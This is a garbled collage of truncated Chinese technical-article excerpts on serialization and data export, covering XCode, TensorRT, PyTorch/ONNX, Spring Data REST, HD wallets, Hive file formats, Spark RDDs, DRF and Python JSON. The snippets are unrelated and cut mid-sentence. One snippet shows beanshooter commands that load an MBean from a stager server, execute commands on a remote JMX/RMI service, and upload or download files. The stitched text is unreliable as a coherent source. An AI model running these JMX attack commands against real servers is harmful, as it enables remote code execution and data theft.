开源地址：https://github.com/NewLifeX/X （求star, 864+） XCode是充血模型，在实体类上附带有大量便捷操作，其中就包括各种目标数据类型的导入导出！...从结果来看，Xml可读性非常好，但是占用空间很大，一般比Json还要大一截。 二进制序列化 XCode序列化的绝招是二进制序列化，能够让实体对象和二进制数据互相转换，更小、更快！ ?...示例中看到，二进制序列化最大缺点是可读性极差！一般只能看到其中部分字符串。 实体列表存储 单个实体对象的二进制序列化只适用于简单场合，如写入Redis，实际工程级应用，多以实体列表为主。...实体列表存储以扩展方法提供： Write，写入实体列表到数据流 Read，从数据流加载实体列表 SaveFile，保存实体列表到文件（可用作数据缓存） LoadFile，从文件加载实体列表 ?...快速展现用法，代码配置连接字符串 数据模型文件。建立表格字段和索引，名字以及数据类型规范，推荐字段（时间，用户，IP） 实体类详解。数据类业务类，泛型基类，接口 功能设置。
TensorRT开发人员指南介绍了几种从tensorflow生成tensorRT引擎的方法，但重要的是要注意并非所有工作流都与jetson一起工作，例如使用TensorRT lite，我们可以生成一个带有单个...在上一张幻灯片中，我们在github项目中提供了一个脚本，它包含了导出tensorflow模型，构建和构建tensorRT引擎，以及序列化和保存引擎到硬盘的步骤。...当将冻结的图序列化后的二进制输出，保存到磁盘上的时候，通常我们叫这个为冻结图文件，或者其他的类似叫法。这个文件将用作后续的转换脚本输入用。 ?...将记录文件导出，在TensorBoard里使用，只需要一行Python代码哦。...我们导出含有网络图定义的记录文件，然后启动TensorFlow的服务器端 ，然后指定导出的记录文件，然后就可以从浏览器中打开TensorBoard了，从而能可视化的观察一些信息。
可视化编辑器 Flow Editor eKuiper 从 1.6.0 版本开始提供适合面向可视化界面的图规则 API，相比于 SQL 更适合于构建 UI 界面。...同样无法利用数据本身格式的 Schema，而是需要额外配置。 新的版本中，Stream 定义时支持逻辑 Schema 和格式中的物理 Schema 定义。...统计函数 新的版本中，我们提供了多个聚合统计函数，例如标准差、方差和百分位的计算。...导出配置的 rest 接口为 GET /data/export，通过此 API 可导出当前节点的所有配置 导出配置的 rest 接口为 POST /data/import，通过此 API 可导入已有配置至目标...之前的版本中，Portable 插件更新后无法立即生效，需要手动重启使用插件的规则或者重启 eKuiper。
也就是说，一旦训练完成，我们手中有一个庞大的模型，如果想要将其部署到生产中与其他模型相比，推理需要相对较长的时间，而且它可能太慢，无法达到需要的吞吐量。...将模型从本机Pytorch / Tensorflow导出到适当的格式或推理引擎（Torchscript / ONNX / TensorRT ...）...CPU / GPU 所有实验均以1/2/4/8/16/32/64批次运行 截至本文发布时，由于缺乏Pytorch嵌入所使用的int64的支持，因此尚无法将Transformer模型直接从Pytorch...代码创建可序列化和可优化模型的方法。...请注意，由于模型将被序列化，所以在保存模型之后它将不能修改，因此应该将它置于评估（eval）模式中，并在保存之前将它导出到适当的设备上。
有时，Spring Data REST 的行为ObjectMapper（已专门配置为使用可以将域对象转换为链接并再次返回的智能序列化程序）可能无法正确处理您的域模型。...但是，如果您的域模型不容易读取或写入纯 JSON，您可能需要使用您自己的自定义映射、序列化器和反序列化器来配置 Jackson 的 ObjectMapper。...6.1.2.为域类型添加自定义序列化程序 如果您想以特殊方式序列化或反序列化域类型，您可以使用 Jackson 注册您自己的实现，ObjectMapperSpring Data REST 导出器会透明地正确处理这些域对象...预测和摘录 Spring Data REST 提供了您导出的域模型的默认视图。但是，有时，您可能出于各种原因需要更改该模型的视图。本节介绍如何定义预测和摘录以提供简化和简化的资源视图。...同样，默认情况下，Spring Data REST 导出其所有属性（除了id）。您可以通过定义一个或多个投影为 REST 服务的使用者提供替代方案。
，分别是命令行和图像界面；为了更方便愉快的进行大规模转换，可以写两个批处理文件来实现： image.png Single文件执行单个选中Excel文件转换，AutoAll则执行该路径下所有xlsx...具体说明如下： dir /b /a-d /s 从指定路径遍历搜索文件，路径即为当前文件夹下的所有.xlsx文件，也可以修改前面的excel所在文件夹参数配置其他位置 %%~nxi与%%~ni 与Single.bat...中类似，只不过不是1（首个文件）而是循环体中的变量i（当前遍历的文件），i对应数目索引的指定文件 需要注意的是，在cmd模式下的循环变量为单个%+循环标识符（即%i），但在批处理文件中需要两个百分号才行...，方便在Unity中进一步反序列化，如果想导出字典，可自行修改，或利用图形界面分别导出 之所以默认导出数组类型，因为Unity默认的JsonUtility解析字典类型几乎是不可能，即使强行可以，那也是用的两个...，之前导出的Json文件不能包含文件名，在上面的脚本中统一将文件名添加为array。
在第一部分中，提出了用于从单个种子(seed)导出密钥对树的系统。第二部分演示了如何在这样的树之上构建钱包结构。 目的 比特币参考客户端使用随机生成的密钥。...分层确定性钱包允许通过支持从单个根导出的多个密钥对链来进行这种选择性共享。...扩展密钥 接下来，我们将定义一个从父密钥导出多个子密钥的函数。为了防止这些仅仅依赖于密钥本身，我们首先使用额外的256位熵来扩展私钥和公钥。...m / iH / 0 / k对应于从主站m导出的HDW的帐号i的外部链的第k个密钥对。 m / iH / 1 / k对应于从主站m导出的HDW的帐号i的内部链的第k个密钥。...这将允许审核员在所有帐户中查看和从钱包中获得的所有交易，但不能查看单个保密密钥。 每-办公室余额：m / iH 当一家企业有几个独立的办公室时，他们都可以使用从一个主人那里获得的钱包。
，这仅在一定程度上存在可能并且无法枚举服务器的TLS配置，如果beanshooter识别SASL配置文件不起作用，则应该总是在使用/不使用-ssl选项的情况下重试 java -jar beanshooter.jar...--stager-url http://172.17.0.1:8000 导出操作 在有时候我们会发现无法通过beanshooter的stager服务器提供MBean实现，常见的情况之一是向本地机器的出站连接被阻止...，在这种情况下我们可能希望从其他位置加载MBean，例如：在具有写入权限的内部网络中的SMB服务，export操作导出实现指定MBean的jar文件以及加载MBean所需的相应MLet HTML文档，假设我们从监听在...，可以通过使用tonka操作来访问其所需的功能 Tonka Exec exec操作可用于在RMI服务上执行单个命令： java -jar beanshooter.jar tonka exec 172.17.0.2...upload 172.17.0.2 9010 file.dat /tmp Tonka Download download操作可用于从JMX服务器下载文件： java -jar beanshooter.jar
所以它常见的适用场景是作为外部数据导入存储，或者导出到外部数据库的中转表。...Parquet支持uncompressed\snappy\gzip\lzo压缩;其中lzo压缩方式压缩的文件支持切片，意味着在单个文件较大的场景中，处理的并发度会更高；因为一个压缩文件在计算时，会运行一个...但压缩文件支持再切分的话，在处理时可以Split成多个文件，从而启动多个Map任务进行并发处理，提升处理性能。 而ORC表的压缩方式不支持切分，如果单个压缩文件较大的话，性能会有影响。...所以，对于ORC表和Parquet表的选择要区分使用场景，如果只在Hive中处理时使用，追求更高效的处理性能，且单个文件不是很大，或者需要有事务的支持，则选用ORC表。...但如果要考虑到与其它大数据产品的兼容度，且单个文件较为庞大，数据存在多重嵌套，则选用Parquet表。
本文主要介绍在推理引擎中，针对神经网络模型的序列化与反序列化、不同的模型序列化方法，以及 Protobuf 和 FlatBuffers 两种在端侧常用的模型文件格式。...因此，为了将模型保存供将来使用，我们需要将其从内存中移动到硬盘上进行永久存储。这个过程被称为模型的保存和加载，或者说是序列化和反序列化。...用户自定义序列化方法在某些特殊情况下，以上所有方法都无法满足特定需求，用户可以设计自己的序列化格式。这种自定义方法通常用于满足特殊的部署需求，例如优化部署性能、减少模型大小或者满足特定的环境要求。...ONNXPyTorch 提供了内置支持，可以使用torch.onnx.export方法将 PyTorch 模型导出为 ONNX 格式。...以下代码将预训练的 AlexNet 导出到名为alexnet.onnx的 ONNX 文件。调用 torch.onnx.export 运行模型一次以跟踪其执行情况，然后将跟踪的模型导出到指定文件。
血统”的容错机制，在结构更新和丢失后可随时根据血统进行数据模型的重建； 分布式 就是可以分布在多台机器上进行并行计算； 数据集 一组只读的、可分区的分布式数据集合，集合内包含了多个分区。...因为不进行序列化与反序列化操作，就避免了这部分的性能开销；对这个RDD的后续算子操作，都是基于纯内存中的数据的操作，不需要从磁盘文件中读取数据，性能也很高；而且不需要复制一份数据副本，并远程传送到其他节点上...因为既然到了这一步，就说明 RDD 的数据量很大，内存无法完全放下，序列化后的数据比较少，可以节省内存和磁盘的空间开销。同时该策略会优先尽量尝试将数据缓存在内存中，内存缓存不下才会写入磁盘。...血统关系 一个作业从开始到结束的计算过程中产生了多个 RDD，RDD 之间是彼此相互依赖的，我们把这种父子依赖的关系称之为「血统」。...RDD 只支持粗颗粒变换，即只记录单个块（分区）上执行的单个操作，然后创建某个 RDD 的变换序列（血统 lineage）存储下来。
例如，数据库、文件、消息等等 读取器：从源收集实时数据并写入流 流：数据元素从一个组件、线程或节点到下一个组件、线程或节点的连续移动 网络：描绘不同的网络位置。...与单线程模式一样，不需要数据序列化。 在多线程应用程序中，操作系统可能导致线程之间出现瓶颈。即使在多核或多CPU系统中，也无法保证单独的线程将在不同的核上运行。...对于单个读取器或写入器无法处理实时数据生成的情况，可能需要使用多个并行运行的实例。...传统上，为了在流上连续运行处理查询，流发布者和使用者使用典型的发布/订阅模型，在该模型中，主内存用于绑定一部分流数据。然后检查此绑定部分（单个事件还是多个事件）以进行处理，然后丢弃以免耗尽主内存。...如果有多个数据流进入流处理系统，则如果从内存中丢弃这些事件，则从外部系统对这些流的后续重播将无法保证先前已确认事件的确切顺序。 如果流的使用者接收流很慢，则流的发布者可能会停滞。
Serializer 在 DRF 中负责：序列化：将模型实例/Python 对象 → 转换为 JSON等格式反序列化：将客户端传入的数据 → 转换为 Python 对象 → 再保存到数据库数据验证：检查输入数据是否符合业务规则...非模型数据：处理不与数据库直接关联的数据（如聚合结果）定制字段：需要完全控制字段行为时混合数据源：组合多个模型的数据性能优化：仅暴露必要字段✅ 使用场景对比：场景 SerializerModelSerializer...基础用法3.1 序列化（对象 → 字典）# 单个对象序列化user = User.objects.get(id=1)serializer = UserSerializer(user)serializer.data...# 输出：{'username': 'john', 'email': 'john@example.com', ...}# 多个对象序列化users = User.objects.all()serializer...数据验证5.1 三层验证机制字段级别验证：单个字段的合法性对象级别验证：多个字段的关系检查自定义验证器：可复用的验证逻辑5.2 验证示例class OrderSerializer(serializers.Serializer
在下面的示例中，使用csv模块从CSV文件中提取Answer.Age列。假设此列肯定存在，但列的索引未知。一旦获得数值，借助statistics模块就能得到年龄的平均值和标准偏差。...Json文件处理 需要注意的一点就是某些Python数据类型和结构(比如集合和复数)无法存储在JSON文件中。因此，要在导出到JSON之前，将它们转换为JSON可表示的数据类型。...将复杂数据存储到JSON文件中的操作称为JSON序列化，相应的反向操作则称为JSON反序列化。Python通过json模块中的函数，实现JSON序列化和反序列化。...函数 说明 dump() 将Python对象导出到文件中 dumps() 将Python对象编码成JSON字符串 load() 将文件导出为Python对象 loads() 将已编码的JSON字符串解码为...Python对象 备注: 把多个对象存储在一个JSON文件中是一种错误的做法，但如果已有的文件包含多个对象，则可将其以文本的方式读入，进而将文本转换为对象数组（在文本中各个对象之间添加方括号和逗号分隔符
SUPERB 基准数据集，以及用于编码媒体文件的 StreamWriter 类。...（本周 OpenMMLab 也发布了评测库 MMEval，详情见往期内容） torch::deploy，提供了一种在单个进程中使用多个独立 Python 解释器运行的方法，而无需共享全局解释器锁。...torch::deploy （MultiPy） torch::deploy（MultiPy）是一个 C++ 库，使你能够在生产环境中运行 Eager 模式的 PyTorch 模型，而无需对模型进行任何修改以支持导出可部署的静态图...特别的是，MultiPy 提出了一种在单个进程中使用多个 Python 解释器的方法，摆脱 Python GIL 的限制以实现可扩展的推理。...安全性 安全的张量序列化，不依赖 pickle （正在支持中）。
这种粗颗粒的数据模型，限制了 Spark 的运用场合，但同时相比细颗粒度的数据模型，也带来了性能的提升。 12....而 Spark Streaming 是无法动态调整并行度的。...模型的训练完全是并行的。...导出 checkpoint 数据 上文提到，checkpoint 数据会定时导出到可靠的存储系统，那么 在什么时机进行 checkpoint checkpoint 的形式是怎么样的 checkpoint...增加 batch 大小: 这种方法很容易理解，batch 越大，从外部接收的 event 就越多，内存积累的数据也就越多，那么输出的文件数也就会变少，比如上边的时间从10s增加为100s，那么一个小时的文件数量就会减少到
可以从“任务”选项卡启动任务。“crsTransform”、“scale”和“dimensions”是互斥的。 论据： 图片（图片）： 要导出的图像。 描述（字符串，可选）： 任务的人类可读名称。...文件夹（字符串，可选）： 导出将驻留的 Google Drive 文件夹。...区域（Geometry.LinearRing|Geometry.Polygon|String ，可选）： 表示要导出的区域的线性环、多边形或坐标。这些可以指定为几何对象或序列化为字符串的坐标。...文件维度（列表|数字，可选）： 每个图像文件的像素尺寸（如果图像太大而无法放入单个文件）。可以指定一个数字来表示正方形，或者指定一个二维数组来表示（宽度，高度）。...文件格式（字符串，可选）： 图像导出到的字符串文件格式。目前仅支持“GeoTIFF”和“TFRecord”，默认为“GeoTIFF”。
但开启压缩后，压缩后的文件在处理时无法进行split，所以并发度并不高； 因为一个压缩文件在计算时，会运行一个Map任务进行处理，如果这个压缩文件较大，处理效率就会降低，但压缩文件支持再切分的话，在处理时可以...Split成多个文件，从而启动多个Map任务进行并发处理，提升处理性能。...而且对TextFile压缩文件的解压，即反序列化为普通文件，必须逐个字符判断是不是分隔符和行结束符，因此反序列化开销会比 SequenceFile 高几十倍。...Parquet支持uncompressed\snappy\gzip\lzo压缩，其中lzo压缩方式压缩的文件支持切片，意味着在单个文件较大的场景中，处理的并发度会更高；而ORC表的压缩方式不支持切分，如果单个压缩文件较大的话...但如果要考虑到与其它大数据产品的兼容度，且单个文件较为庞大，数据存在多重嵌套，则选用Parquet表。
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